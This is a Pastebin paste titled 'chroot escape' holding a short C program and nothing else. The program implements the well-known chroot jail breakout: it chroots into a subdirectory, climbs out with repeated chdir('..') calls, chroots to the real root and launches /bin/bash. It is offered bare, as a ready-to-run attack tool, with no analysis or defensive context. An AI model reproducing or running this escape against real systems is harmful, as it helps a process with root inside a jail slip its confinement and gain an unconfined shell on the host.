Advertisement
Guest User

chroot escape

a guest
May 13th, 2010
205
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 0.56 KB | None | 0 0
  1. #include <stdlib.h>
  2. #include <stdio.h>
  3. #include <sys/stat.h>
  4. #include <sys/types.h>
  5. #include <fcntl.h>
  6. #include <unistd.h>
  7. #include <pwd.h>
  8.  
  9. #define MAXSTRLEN 100
  10.  
  11. int main()
  12. {
  13.         int i;
  14.         //char cwd[MAXSTRLEN];
  15.  
  16.         //getcwd(cwd, MAXSTRLEN);
  17.         //printf("\n\tCWD: %s\n", cwd);
  18.  
  19.         chroot("/home");
  20.  
  21.         //getcwd(cwd, MAXSTRLEN);
  22.         //printf("\n\tCWD: %s\n", cwd);
  23.  
  24.         for (i=0; i<100; i++)
  25.                 chdir("..");
  26.  
  27.         chroot (".");
  28.         execve("/bin/bash", NULL, NULL);
  29.  
  30.         return 0;
  31. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement